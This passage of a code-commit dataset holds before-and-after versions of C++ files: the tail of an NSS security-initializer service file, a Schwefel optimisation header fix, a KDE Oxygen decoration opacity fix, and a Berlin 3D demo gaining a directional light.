rtl::OUString > SAL_CALL SEInitializer_NssImpl_getSupportedServiceNames(  )\n    throw (cssu::RuntimeException)\n{\n    cssu::Sequence < rtl::OUString > aRet(1);\n    rtl::OUString* pArray = aRet.getArray();\n    pArray[0] =  rtl::OUString ( RTL_CONSTASCII_USTRINGPARAM ( SERVICE_NAME ) );\n    return aRet;\n}\n#undef SERVICE_NAME\n\ncssu::Reference< cssu::XInterface > SAL_CALL SEInitializer_NssImpl_createInstance( const cssu::Reference< cssl::XMultiServiceFactory > & rSMgr)\n    throw( cssu::Exception )\n{\n    return (cppu::OWeakObject*) new SEInitializer_NssImpl(rSMgr);\n}\n\n\/* XServiceInfo *\/\nrtl::OUString SAL_CALL SEInitializer_NssImpl::getImplementationName(  )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_getImplementationName();\n}\nsal_Bool SAL_CALL SEInitializer_NssImpl::supportsService( const rtl::OUString& rServiceName )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_supportsService( rServiceName );\n}\ncssu::Sequence< rtl::OUString > SAL_CALL SEInitializer_NssImpl::getSupportedServiceNames(  )\n    throw (cssu::RuntimeException)\n{\n    return SEInitializer_NssImpl_getSupportedServiceNames();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright 2014 Andrew Schwartzmeyer\n *\n * Header file for base problem class\n *\/\n\n#ifndef _SCHWEFEL_PROBLEM_H_\n#define _SCHWEFEL_PROBLEM_H_\n\n#include \"problem.hpp\"\n\nclass Schwefel: public Problem {\npublic:\n  Schwefel(const long i = 100000000,\n\t   const parameter g = 0.90,\n\t   const parameter f = 0.65,\n\t   const parameter d = 0.1,\n\t   const parameter h = 0.50,\n\t   const int c = 10000): Problem(-512.03, 511.97,\n\t\t\t\t\t 0, 21000, true,\n\t\t\t\t\t i, g, f, d, h, c) {};\n\n  parameter problem(const Individual & subject) const;\n};\n\n#endif \/* _SCHWEFEL_PROBLEM_H_ *\/\n<commit_msg>Petty trailing 0 fix<commit_after>\/* Copyright 2014 Andrew Schwartzmeyer\n *\n * Header file for base problem class\n *\/\n\n#ifndef _SCHWEFEL_PROBLEM_H_\n#define _SCHWEFEL_PROBLEM_H_\n\n#include \"problem.hpp\"\n\nclass Schwefel: public Problem {\npublic:\n  Schwefel(const long i = 100000000,\n\t   const parameter g = 0.90,\n\t   const parameter f = 0.65,\n\t   const parameter d = 0.1,\n\t   const parameter h = 0.5,\n\t   const int c = 10000): Problem(-512.03, 511.97,\n\t\t\t\t\t 0, 21000, true,\n\t\t\t\t\t i, g, f, d, h, c) {};\n\n  parameter problem(const Individual & subject) const;\n};\n\n#endif \/* _SCHWEFEL_PROBLEM_H_ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ oxygen.cpp\n\/\/ -------------------\n\/\/\n\/\/ Copyright (c) 2009 Hugo Pereira Da Costa <hugo.pereira@free.fr>\n\/\/ Copyright (c) 2006, 2007 Riccardo Iaconelli <riccardo@kde.org>\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"oxygenfactory.h\"\n#include \"oxygenfactory.moc\"\n#include \"oxygenclient.h\"\n#include \"oxygenexceptionlist.h\"\n\n#include <KSharedConfig>\n#include <KConfigGroup>\n#include <KDebug>\n#include <KGlobal>\n#include <KWindowInfo>\n#include <kdeversion.h>\n\nKWIN_DECORATION(Oxygen::Factory)\n\nnamespace Oxygen\n{\n\n    \/\/___________________________________________________\n    Factory::Factory():\n        _initialized( false ),\n        _helper( \"oxygenDeco\" ),\n        _shadowCache( _helper )\n    {\n        readConfig();\n        setInitialized( true );\n    }\n\n    \/\/___________________________________________________\n    Factory::~Factory()\n    { setInitialized( false ); }\n\n    \/\/___________________________________________________\n    KDecoration* Factory::createDecoration(KDecorationBridge* bridge )\n    { return (new Client( bridge, this ))->decoration(); }\n\n    \/\/___________________________________________________\n    bool Factory::reset(unsigned long changed)\n    {\n\n        if( changed & SettingColors )\n        { _shadowCache.invalidateCaches(); }\n\n        \/\/ read in the configuration\n        setInitialized( false );\n        readConfig();\n        setInitialized( true );\n        return true;\n\n    }\n\n    \/\/___________________________________________________\n    void Factory::readConfig()\n    {\n\n        \/*\n        always reload helper\n        this is needed to properly handle\n        color contrast settings changed\n        *\/\n        helper().invalidateCaches();\n        helper().reloadConfig();\n\n        \/\/ initialize default configuration and read\n        if( !_defaultConfiguration ) _defaultConfiguration = ConfigurationPtr(new Configuration());\n        _defaultConfiguration->setCurrentGroup( \"Windeco\" );\n        _defaultConfiguration->readConfig();\n\n        \/\/ create a config object\n        KSharedConfig::Ptr config( KSharedConfig::openConfig( \"oxygenrc\" ) );\n        if( _defaultConfiguration->opacityFromStyle() )\n        {\n            \/\/ read 'common' opacity\n            KConfigGroup group( config->group(\"Common\") );\n            _defaultConfiguration->setBackgroundOpacity( group.readEntry( \"BackgroundOpacity\", 255 ) );\n        }\n\n        \/\/ clear exceptions and read\n        ExceptionList exceptions;\n        exceptions.readConfig( config );\n        _exceptions = exceptions.get();\n\n        \/\/ read shadowCache configuration\n        _shadowCache.readConfig();\n        _shadowCache.setAnimationsDuration( _defaultConfiguration->shadowAnimationsDuration() );\n\n        \/\/ background pixmap\n        {\n            KConfigGroup group( config->group(\"Common\") );\n            helper().setBackgroundPixmap( group.readEntry( \"BackgroundPixmap\", \"\" ) );\n        }\n\n    }\n\n    \/\/_________________________________________________________________\n    bool Factory::supports( Ability ability ) const\n    {\n        switch( ability )\n        {\n\n            \/\/ announce\n            case AbilityAnnounceButtons:\n            case AbilityAnnounceColors:\n\n            \/\/ buttons\n            case AbilityButtonMenu:\n            case AbilityButtonApplicationMenu:\n            case AbilityButtonHelp:\n            case AbilityButtonMinimize:\n            case AbilityButtonMaximize:\n            case AbilityButtonClose:\n            case AbilityButtonOnAllDesktops:\n            case AbilityButtonAboveOthers:\n            case AbilityButtonBelowOthers:\n            case AbilityButtonSpacer:\n            case AbilityButtonShade:\n\n            \/\/ compositing\n            case AbilityProvidesShadow:\n            return true;\n\n            case AbilityUsesAlphaChannel:\n            case AbilityAnnounceAlphaChannel:\n            return true;\n\n            \/\/ tabs\n            case AbilityTabbing:\n            return true;\n\n            #if KDE_IS_VERSION( 4, 5, 76 )\n            case AbilityUsesBlurBehind:\n            return _defaultConfiguration->backgroundOpacity() < 255;\n            #endif\n\n            \/\/ no colors supported at this time\n            default:\n            return false;\n        };\n    }\n\n\n\n    \/\/____________________________________________________________________\n    Factory::ConfigurationPtr Factory::configuration( const Client& client )\n    {\n\n        QString windowTitle;\n        QString className;\n        foreach( const ConfigurationPtr& configuration, _exceptions )\n        {\n\n            \/\/ discard disabled exceptions\n            if( !configuration->enabled() ) continue;\n\n            \/\/ discard exceptions with empty exception pattern\n            if( configuration->exceptionPattern().isEmpty() ) continue;\n\n            \/*\n            decide which value is to be compared\n            to the regular expression, based on exception type\n            *\/\n            QString value;\n            switch( configuration->exceptionType() )\n            {\n                case Configuration::ExceptionWindowTitle:\n                {\n                    value = windowTitle.isEmpty() ? (windowTitle = client.caption()):windowTitle;\n                    break;\n                }\n\n                default:\n                case Configuration::ExceptionWindowClassName:\n                {\n                    if( className.isEmpty() )\n                    {\n                        \/\/ retrieve class name\n                        KWindowInfo info( client.windowId(), 0, NET::WM2WindowClass );\n                        QString window_className( info.windowClassName() );\n                        QString window_class( info.windowClassClass() );\n                        className = window_className + ' ' + window_class;\n                    }\n\n                    value = className;\n                    break;\n                }\n\n            }\n\n            \/\/ check matching\n            if( QRegExp( configuration->exceptionPattern() ).indexIn( value ) >= 0 )\n            { return configuration; }\n\n        }\n\n        return _defaultConfiguration;\n\n    }\n\n}\n<commit_msg>fixed applying style opacity to exceptions.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ oxygen.cpp\n\/\/ -------------------\n\/\/\n\/\/ Copyright (c) 2009 Hugo Pereira Da Costa <hugo.pereira@free.fr>\n\/\/ Copyright (c) 2006, 2007 Riccardo Iaconelli <riccardo@kde.org>\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"oxygenfactory.h\"\n#include \"oxygenfactory.moc\"\n#include \"oxygenclient.h\"\n#include \"oxygenexceptionlist.h\"\n\n#include <KSharedConfig>\n#include <KConfigGroup>\n#include <KDebug>\n#include <KGlobal>\n#include <KWindowInfo>\n#include <kdeversion.h>\n\nKWIN_DECORATION(Oxygen::Factory)\n\nnamespace Oxygen\n{\n\n    \/\/___________________________________________________\n    Factory::Factory():\n        _initialized( false ),\n        _helper( \"oxygenDeco\" ),\n        _shadowCache( _helper )\n    {\n        readConfig();\n        setInitialized( true );\n    }\n\n    \/\/___________________________________________________\n    Factory::~Factory()\n    { setInitialized( false ); }\n\n    \/\/___________________________________________________\n    KDecoration* Factory::createDecoration(KDecorationBridge* bridge )\n    { return (new Client( bridge, this ))->decoration(); }\n\n    \/\/___________________________________________________\n    bool Factory::reset(unsigned long changed)\n    {\n\n        if( changed & SettingColors )\n        { _shadowCache.invalidateCaches(); }\n\n        \/\/ read in the configuration\n        setInitialized( false );\n        readConfig();\n        setInitialized( true );\n        return true;\n\n    }\n\n    \/\/___________________________________________________\n    void Factory::readConfig()\n    {\n\n        \/*\n        always reload helper\n        this is needed to properly handle\n        color contrast settings changed\n        *\/\n        helper().invalidateCaches();\n        helper().reloadConfig();\n\n        \/\/ initialize default configuration and read\n        if( !_defaultConfiguration ) _defaultConfiguration = ConfigurationPtr(new Configuration());\n        _defaultConfiguration->setCurrentGroup( \"Windeco\" );\n        _defaultConfiguration->readConfig();\n\n        \/\/ create a config object\n        KSharedConfig::Ptr config( KSharedConfig::openConfig( \"oxygenrc\" ) );\n\n        \/\/ clear exceptions and read\n        ExceptionList exceptions;\n        exceptions.readConfig( config );\n        _exceptions = exceptions.get();\n\n        \/\/ read opacity from style, if required\n        if( _defaultConfiguration->opacityFromStyle() )\n        {\n\n            KConfigGroup group( config->group(\"Common\") );\n            const int styleOpacity( group.readEntry( \"BackgroundOpacity\", 255 ) );\n\n            _defaultConfiguration->setBackgroundOpacity( styleOpacity );\n\n            foreach( const ConfigurationPtr& configuration, _exceptions )\n            { configuration->setBackgroundOpacity( styleOpacity ); }\n\n        }\n\n        \/\/ read shadowCache configuration\n        _shadowCache.readConfig();\n        _shadowCache.setAnimationsDuration( _defaultConfiguration->shadowAnimationsDuration() );\n\n        \/\/ background pixmap\n        {\n            KConfigGroup group( config->group(\"Common\") );\n            helper().setBackgroundPixmap( group.readEntry( \"BackgroundPixmap\", \"\" ) );\n        }\n\n    }\n\n    \/\/_________________________________________________________________\n    bool Factory::supports( Ability ability ) const\n    {\n        switch( ability )\n        {\n\n            \/\/ announce\n            case AbilityAnnounceButtons:\n            case AbilityAnnounceColors:\n\n            \/\/ buttons\n            case AbilityButtonMenu:\n            case AbilityButtonApplicationMenu:\n            case AbilityButtonHelp:\n            case AbilityButtonMinimize:\n            case AbilityButtonMaximize:\n            case AbilityButtonClose:\n            case AbilityButtonOnAllDesktops:\n            case AbilityButtonAboveOthers:\n            case AbilityButtonBelowOthers:\n            case AbilityButtonSpacer:\n            case AbilityButtonShade:\n\n            \/\/ compositing\n            case AbilityProvidesShadow:\n            return true;\n\n            case AbilityUsesAlphaChannel:\n            case AbilityAnnounceAlphaChannel:\n            return true;\n\n            \/\/ tabs\n            case AbilityTabbing:\n            return true;\n\n            #if KDE_IS_VERSION( 4, 5, 76 )\n            case AbilityUsesBlurBehind:\n            return _defaultConfiguration->backgroundOpacity() < 255;\n            #endif\n\n            \/\/ no colors supported at this time\n            default:\n            return false;\n        };\n    }\n\n\n\n    \/\/____________________________________________________________________\n    Factory::ConfigurationPtr Factory::configuration( const Client& client )\n    {\n\n        QString windowTitle;\n        QString className;\n        foreach( const ConfigurationPtr& configuration, _exceptions )\n        {\n\n            \/\/ discard disabled exceptions\n            if( !configuration->enabled() ) continue;\n\n            \/\/ discard exceptions with empty exception pattern\n            if( configuration->exceptionPattern().isEmpty() ) continue;\n\n            \/*\n            decide which value is to be compared\n            to the regular expression, based on exception type\n            *\/\n            QString value;\n            switch( configuration->exceptionType() )\n            {\n                case Configuration::ExceptionWindowTitle:\n                {\n                    value = windowTitle.isEmpty() ? (windowTitle = client.caption()):windowTitle;\n                    break;\n                }\n\n                default:\n                case Configuration::ExceptionWindowClassName:\n                {\n                    if( className.isEmpty() )\n                    {\n                        \/\/ retrieve class name\n                        KWindowInfo info( client.windowId(), 0, NET::WM2WindowClass );\n                        QString window_className( info.windowClassName() );\n                        QString window_class( info.windowClassClass() );\n                        className = window_className + ' ' + window_class;\n                    }\n\n                    value = className;\n                    break;\n                }\n\n            }\n\n            \/\/ check matching\n            if( QRegExp( configuration->exceptionPattern() ).indexIn( value ) >= 0 )\n            { return configuration; }\n\n        }\n\n        return _defaultConfiguration;\n\n    }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999 Stefan Seefeld <stefan@berlin-consortium.org> \n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include <Warsaw\/config.hh>\n#include <Warsaw\/Command.hh>\n#include <Warsaw\/Desktop.hh>\n#include <Warsaw\/MainController.hh>\n#include \"PrimitiveDemo.hh\"\n\nusing namespace Warsaw;\n\nnamespace\n{\nclass Forward : public Application::CommandImpl\n{\n public:\n  Forward(Warsaw::BoundedValue_ptr v) : value(Warsaw::BoundedValue::_duplicate(v)) {}\n  void execute(const CORBA::Any &) { value->forward();}\n private:\n  Warsaw::BoundedValue_var value;\n};\n\nclass Backward : public Application::CommandImpl\n{\n public:\n  Backward(Warsaw::BoundedValue_ptr v) : value(Warsaw::BoundedValue::_duplicate(v)) {}\n  void execute(const CORBA::Any &) { value->backward();}\n private:\n  Warsaw::BoundedValue_var value;\n};\n\n};\n\nPrimitiveDemo::Rotator::Rotator(BoundedValue_ptr v, Graphic_ptr c, Graphic_ptr p, Axis a)\n  : value(BoundedValue::_duplicate(v)),\n    child(Graphic::_duplicate(c)),\n    parent(Graphic::_duplicate(p)),\n    axis(a)\n{\n  CORBA::Any dummy;\n  update(dummy);\n}\n\nvoid PrimitiveDemo::Rotator::update(const CORBA::Any &)\n{\n  Coord ydegree = value->value();\n  Transform_var tx = child->transformation();\n  tx->load_identity();\n  tx->rotate(ydegree, axis);\n  parent->need_redraw();\n}\n\nPrimitiveDemo::PrimitiveDemo(Application *a)\n  : Demo(a),\n    tx1(new TransformImpl),\n    tx2(new TransformImpl)\n{\n  LayoutKit_var layout = application->layout();\n  ToolKit_var   tools = application->tool();\n  WidgetKit_var widgets = application->widget();\n  ImageKit_var  images = application->image();\n  PrimitiveKit_var primitives = application->primitive();\n  CommandKit_var commands = application->command();\n  \n  phi = commands->bvalue(0., 360., 0., 5., 5.);\n  psi = commands->bvalue(0., 360., 0., 5., 5.);\n  \n  Coord a = 2000.;\n  Vertex offset;\n  offset.x = -a\/2., offset.y = -3.\/2.*a, offset.z = 0.;\n  Warsaw::Mesh mesh;\n  mesh.nodes.length(4);\n  Coord w = 3000.;\n  Coord h = 3000.;\n  Coord d = 3000.;\n  mesh.nodes[0].x = -w\/2, mesh.nodes[0].y = -h\/2, mesh.nodes[0].z = -d\/2;\n  mesh.nodes[1].x =  w\/2, mesh.nodes[1].y = -h\/2, mesh.nodes[1].z = -d\/2;\n  mesh.nodes[2].x =  0, mesh.nodes[2].y = -h\/2, mesh.nodes[2].z =  d\/2;\n  mesh.nodes[3].x =  0, mesh.nodes[3].y =  h\/2, mesh.nodes[3].z = 0;\n  mesh.triangles.length(4);\n  mesh.triangles[0].a = 0, mesh.triangles[0].b = 1, mesh.triangles[0].c = 3;\n  mesh.triangles[1].a = 1, mesh.triangles[1].b = 2, mesh.triangles[1].c = 3;\n  mesh.triangles[2].a = 2, mesh.triangles[2].b = 0, mesh.triangles[2].c = 3;\n  mesh.triangles[3].a = 0, mesh.triangles[3].b = 2, mesh.triangles[3].c = 1;\n  mesh.normals.length(4);\n  mesh.normals[0].x = 0., mesh.normals[0].y = .8, mesh.normals[0].z = .2;\n  mesh.normals[1].x = .8, mesh.normals[1].y = .2, mesh.normals[1].z = .2;\n  mesh.normals[2].x = -.2, mesh.normals[2].y = .2, mesh.normals[2].z = .2;\n  mesh.normals[3].x = 0., mesh.normals[3].y = -1., mesh.normals[3].z = 0.;\n  \n  Primitive::Geometry_var triangle = primitives->geometry(mesh);\n  Graphic_var transformer1 = primitives->transformer(Graphic_var(tools->rgb(triangle, 0.6, 0.6, 1.0)));\n  Graphic_var transformer2 = primitives->transformer(Graphic_var(transformer1));\n  \n  Graphic_var root = primitives->root(transformer2);\n\n  rotator1 = new Rotator(phi, transformer1, root, zaxis);\n  phi->attach(Observer_var(rotator1->_this()));\n  rotator2 = new Rotator(psi, transformer2, root, yaxis);\n  psi->attach(Observer_var(rotator2->_this()));\n  \n  Graphic_var hbox1 = layout->hbox();\n  hbox1->append_graphic(Graphic_var(layout->hfill()));\n  hbox1->append_graphic(Graphic_var(widgets->slider(phi, xaxis)));\n  hbox1->append_graphic(Graphic_var(layout->hfill()));\n  Graphic_var hbox2 = layout->hbox();\n  hbox2->append_graphic(Graphic_var(layout->hfill()));\n  hbox2->append_graphic(Graphic_var(widgets->slider(psi, xaxis)));\n  hbox2->append_graphic(Graphic_var(layout->hfill()));\n  Graphic_var box = layout->vbox();\n  box->append_graphic(Graphic_var(layout->align(root, 0., 0.)));\n  box->append_graphic(hbox1);\n  box->append_graphic(hbox2);\n  ToolKit::FrameSpec spec;\n  spec.brightness(0.5); spec._d(ToolKit::inset);\n  Graphic_var foo = tools->frame(box, 10., spec, true);\n  MainController_var bar = tools->group(foo);\n  application->append(bar, Babylon::String(\"3D demo\"));\n}\n\nGraphic_ptr PrimitiveDemo::make_controller(BoundedValue_ptr value, const Color &color)\n{\n  ToolKit_var tool = application->tool();\n  WidgetKit_var widget = application->widget();\n  LayoutKit_var layout = application->layout();\n  Graphic_var gauge = widget->gauge(value);\n  Forward *forward = new Forward(value);\n  Backward *backward = new Backward(value);\n  Graphic_var rectangle = layout->fixed_size(Graphic_var(Graphic::_nil()), 200., 200.);\n  ToolKit::FrameSpec spec;\n  spec.brightness(0.5); spec._d(ToolKit::inset);\n  Controller_var begin = tool->stepper(Graphic_var(tool->frame(rectangle, 10., spec, true)), Command_var(backward->_this()));\n  Controller_var end = tool->stepper(Graphic_var(tool->frame(rectangle, 10., spec, true)), Command_var(forward->_this()));\n  Graphic_var box = layout->hbox();\n  box->append_graphic(begin);\n  box->append_graphic(gauge);\n  box->append_graphic(end);\n  return Graphic::_duplicate(box);\n}\n<commit_msg>fiat lux...<commit_after>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999 Stefan Seefeld <stefan@berlin-consortium.org> \n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include <Warsaw\/config.hh>\n#include <Warsaw\/Command.hh>\n#include <Warsaw\/Desktop.hh>\n#include <Warsaw\/MainController.hh>\n#include \"PrimitiveDemo.hh\"\n\nusing namespace Warsaw;\n\nnamespace\n{\nclass Forward : public Application::CommandImpl\n{\n public:\n  Forward(Warsaw::BoundedValue_ptr v) : value(Warsaw::BoundedValue::_duplicate(v)) {}\n  void execute(const CORBA::Any &) { value->forward();}\n private:\n  Warsaw::BoundedValue_var value;\n};\n\nclass Backward : public Application::CommandImpl\n{\n public:\n  Backward(Warsaw::BoundedValue_ptr v) : value(Warsaw::BoundedValue::_duplicate(v)) {}\n  void execute(const CORBA::Any &) { value->backward();}\n private:\n  Warsaw::BoundedValue_var value;\n};\n\n};\n\nPrimitiveDemo::Rotator::Rotator(BoundedValue_ptr v, Graphic_ptr c, Graphic_ptr p, Axis a)\n  : value(BoundedValue::_duplicate(v)),\n    child(Graphic::_duplicate(c)),\n    parent(Graphic::_duplicate(p)),\n    axis(a)\n{\n  CORBA::Any dummy;\n  update(dummy);\n}\n\nvoid PrimitiveDemo::Rotator::update(const CORBA::Any &)\n{\n  Coord ydegree = value->value();\n  Transform_var tx = child->transformation();\n  tx->load_identity();\n  tx->rotate(ydegree, axis);\n  cout << \"parent needs redraw...\" << endl;\n  parent->need_redraw();\n}\n\nPrimitiveDemo::PrimitiveDemo(Application *a)\n  : Demo(a),\n    tx1(new TransformImpl),\n    tx2(new TransformImpl)\n{\n  LayoutKit_var layout = application->layout();\n  ToolKit_var   tools = application->tool();\n  WidgetKit_var widgets = application->widget();\n  ImageKit_var  images = application->image();\n  PrimitiveKit_var primitives = application->primitive();\n  CommandKit_var commands = application->command();\n  \n  phi = commands->bvalue(0., 360., 0., 5., 5.);\n  psi = commands->bvalue(0., 360., 0., 5., 5.);\n  \n  Coord a = 2000.;\n  Vertex offset;\n  offset.x = -a\/2., offset.y = -3.\/2.*a, offset.z = 0.;\n  Warsaw::Mesh mesh;\n  mesh.nodes.length(4);\n  Coord w = 3000.;\n  Coord h = 3000.;\n  Coord d = 3000.;\n  mesh.nodes[0].x = -w\/2, mesh.nodes[0].y = -h\/2, mesh.nodes[0].z = -d\/2;\n  mesh.nodes[1].x =  w\/2, mesh.nodes[1].y = -h\/2, mesh.nodes[1].z = -d\/2;\n  mesh.nodes[2].x =  0, mesh.nodes[2].y = -h\/2, mesh.nodes[2].z =  d\/2;\n  mesh.nodes[3].x =  0, mesh.nodes[3].y =  h\/2, mesh.nodes[3].z = 0;\n  mesh.triangles.length(4);\n  mesh.triangles[0].a = 0, mesh.triangles[0].b = 1, mesh.triangles[0].c = 3;\n  mesh.triangles[1].a = 1, mesh.triangles[1].b = 2, mesh.triangles[1].c = 3;\n  mesh.triangles[2].a = 2, mesh.triangles[2].b = 0, mesh.triangles[2].c = 3;\n  mesh.triangles[3].a = 0, mesh.triangles[3].b = 2, mesh.triangles[3].c = 1;\n  mesh.normals.length(4);\n  mesh.normals[0].x = 0., mesh.normals[0].y = .8, mesh.normals[0].z = .2;\n  mesh.normals[1].x = .8, mesh.normals[1].y = .2, mesh.normals[1].z = .2;\n  mesh.normals[2].x = -.2, mesh.normals[2].y = .2, mesh.normals[2].z = .2;\n  mesh.normals[3].x = 0., mesh.normals[3].y = -1., mesh.normals[3].z = 0.;\n  \n  Primitive::Geometry_var triangle = primitives->geometry(mesh);\n  Graphic_var transformer1 = primitives->transformer(Graphic_var(tools->rgb(triangle, 0.6, 0.6, 1.0)));\n  Graphic_var transformer2 = primitives->transformer(Graphic_var(transformer1));\n  Color white = {1., 1., 1., 1.};\n  Vertex direction = {5., 5., 10.};\n  Graphic_var light = primitives->directional_light(transformer2, white, 1., direction);\n  \n  Graphic_var root = primitives->root(light);\n\n  rotator1 = new Rotator(phi, transformer1, root, zaxis);\n  phi->attach(Observer_var(rotator1->_this()));\n  rotator2 = new Rotator(psi, transformer2, root, yaxis);\n  psi->attach(Observer_var(rotator2->_this()));\n  \n  Graphic_var hbox1 = layout->hbox();\n  hbox1->append_graphic(Graphic_var(layout->hfill()));\n  hbox1->append_graphic(Graphic_var(widgets->slider(phi, xaxis)));\n  hbox1->append_graphic(Graphic_var(layout->hfill()));\n  Graphic_var hbox2 = layout->hbox();\n  hbox2->append_graphic(Graphic_var(layout->hfill()));\n  hbox2->append_graphic(Graphic_var(widgets->slider(psi, xaxis)));\n  hbox2->append_graphic(Graphic_var(layout->hfill()));\n  Graphic_var box = layout->vbox();\n  box->append_graphic(Graphic_var(layout->align(root, 0., 0.)));\n  box->append_graphic(hbox1);\n  box->append_graphic(hbox2);\n  ToolKit::FrameSpec spec;\n  spec.brightness(0.5); spec._d(ToolKit::inset);\n  Graphic_var foo = tools->frame(box, 10., spec, true);\n  MainController_var bar = tools->group(foo);\n  application->append(bar, Babylon::String(\"3D demo\"));\n}\n\nGraphic_ptr PrimitiveDemo::make_controller(BoundedValue_ptr value, const Color &color)\n{\n  ToolKit_var tool = application->tool();\n  WidgetKit_var widget = application->widget();\n  LayoutKit_var layout = application->layout();\n  Graphic_var gauge = widget->gauge(value);\n  Forward *forward = new Forward(value);\n  Backward *backward = new Backward(value);\n  Graphic_var rectangle = layout->fixed_size(Graphic_var(Graphic::_nil()), 200., 200.);\n  ToolKit::FrameSpec spec;\n  spec.brightness(0.5); spec._d(ToolKit::inset);\n  Controller_var begin = tool->stepper(Graphic_var(tool->frame(rectangle, 10., spec, true)), Command_var(backward->_this()));\n  Controller_var end = tool->stepper(Graphic_var(tool->frame(rectangle, 10., spec, true)), Command_var(forward->_this()));\n  Graphic_var box = layout->hbox();\n  box->append_graphic(begin);\n  box->append_graphic(gauge);\n  box->append_graphic(end);\n  return Graphic::_duplicate(box);\n}\n<|endoftext|>"}
